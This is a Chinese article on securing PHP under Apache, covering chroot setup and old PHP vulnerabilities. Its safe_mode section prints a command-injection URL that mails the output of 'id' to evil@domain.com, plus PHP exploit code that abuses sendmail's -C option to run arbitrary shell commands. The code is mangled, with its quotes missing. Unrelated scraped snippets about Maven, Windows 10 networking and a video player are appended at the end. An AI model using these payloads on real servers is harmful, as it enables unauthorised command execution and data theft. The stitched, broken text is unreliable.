PHP安全配置之实现安全的两个重点

安全

    一、Web服务器安全

  PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
  都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

  二、PHP本身问题

  1、远程溢出

  PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.

  2、远程拒绝服务

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

  3、safe_mode绕过漏洞

  还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

  执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  这将id执行的结果发送给evil@domain.com。

  对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

  #注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>
  还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

时间: 2024-11-02 11:50:29

PHP安全配置之实现安全的两个重点的相关文章

maven问题,在pom.xml配置ssh时spring有两个依赖包报错

问题描述 maven问题,在pom.xml配置ssh时spring有两个依赖包报错 //一条红线划着<>org.springframeworkspring-orm3.1.1.RELEASE <dependency>//一条红线划着<<dependency>> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> &l

win10系统提示没有有效的IP配置的原因分析及两种解决方法图文教程

原因分析: 其实,该问题一般是由于网络出错导致的. 解决方法一: 将路由器和猫重启一下,一般都可以解决了! 解决方法二: 1.在开始菜单上单击鼠标右键,选择"命令提示符(管理员)": 2.在命令提示符框中输入:netsh winsock reset按下回车键,在弹出的已重置的提示后重启计算机即可解决问题! 以上就是win10系统提示没有有效的IP配置的原因分析及两种解决方法图文教程,方法很简单,同样遇到win10无线无法连接显示没有有效的IP配置问题的用户们,快去尝试操作看看吧!

适度配置风行网络 看片上网两不误

风行网络电视一直以来都是深受大众所欢迎的高清电影及电视剧免费在线点播,并支持网络电视.在线电影点播.免费电影下载.在线网络电视.边下边看首选软件.上万部免费电影.网络电视.动漫综艺每日更新. 家庭网络,或者是用户所处的上网环境为局域网范围内时,由于外网接入的贷款为固定的带宽,那么怎样配置风行网络,才可既能让风行边下边看,又不会影响到局域网内其他用户流畅地上网冲浪?笔者接下来就和大家来讨论一下风行网络配置的相关问题,希望能帮助大家更好更高效地使用风行网络电视. 风行网络电视设置项 网络环境:2MB

教你适度配置风行网络 看片上网两不误

风行网络电视一直以来都是深受大众所欢迎的高清电影及电视剧免费在线点播,并支持网络电视.在线电影点播.免费电影下载.在线网络电视.边下边看首选软件.上万部免费电影.网络电视.动漫综艺每日更新.家庭网络,或者是用户所处的上网环境为局域网范围内时,由于外网接入的贷款为固定的带宽,那么怎样配置风行网络,才可既能让风行边下边看,又不会影响到局域网内其他用户流畅地上网冲浪?笔者接下来就和大家来讨论一下风行网络配置的相关问题,希望能帮助大家更好更高效地使用风行网络电视. 风行网络电视设置项 网络环境:2MB带

配置-一个小时访问量在两万左右的服务器

问题描述 一个小时访问量在两万左右的服务器 一个小时访问量在两万左右的服务器应该怎样配置,包括网络环境,硬件等(跪等大神!!!) 解决方案 这个很难说.就好比问你一个小时能做几道题.做小学加减乘除,也许你能做1000道,做大学数学题,也许一个小时也做不了一道.所以这是一个非常难估算的问题,而且估算不好的结果是真金白银的损失.这里就体现出云计算的好处了,你不至于一下子买了太多硬件而造成浪费,也不会因为网络流量和用户的迅速扩张而不够用.比如使用WindowsAzure,你是按照精确到小时的尺度精确收

HttpHandler开发的两个重点问题

大家在用HttpHandler的时候,一般都会有两个大的疑问(当然,前提是你有钻研精神的话,呵呵) 1. IsReusable到底什么意思? 老实说,这个属性很多人都感兴趣,但搞懂的人确实不多.MSDN中的介绍也是不知所以然. 获取一个值,该值指示其他请求是否可以使用 IHttpHandler 实例.该属性默认为false 我来这么说吧,首先我们为什么使用自定义的Handler呢?简单的说,我们是希望能接管掉某些请求, 对吧?最常见的应用如下 对图片进行处理.例如所有图片都输出一个水印.或者防止

整形医院类网站两个重点的网络营销方法详解

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 目前整形行业还处于刚刚起步的阶段,随着爱美之心的泛滥,整形类的网站一定会获得极大的发展,正是因为发展前景相当不错,互联网上的整形医院类的网站如雨后春笋般的建设了起来,这极大的增加了整形医院类网站的竞争激烈程度,所以要想从这个行业里面成功突围,只有利用两大营销方法,一个是SEO优化的搜索引擎营销,另一个就是其他形式的网络营销两种!下面就来进行简

今年信息产业将强推两大重点

IT时报 钱立富 温总理<政府工作报告>中,"物联网"首次提及," 三网融合"再度出现 2010年全国"两会"上,三网融合和物联网的热度相当之高,温总理的<政府工作报告>中提出,"积极推进 新能源汽车.三网融合取得实质性进展,加快物联网的研发应用.""两会"上释放出的明确信号,为三网融合和物联网的发展注入了强大的动力. 三网融合今年要"见效" 在2009年的<

RHCS Oracle HA for OEL5.8 KVM实践配置

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://koumm.blog.51cto.com/703525/1304185 1.通过Openfiler实现iscsi共享存储 2.采用OEL6.3KVM虚拟平台下安装两个OEL5.8x64KVM虚拟机实现两RHCS5集群节点 3.通过KVM虚拟fence实现fence功能,虽然不能完全实现功能,可以了解与学习RHCS过程.注:采用VMwareESXi虚拟机安装话,可以采用vmware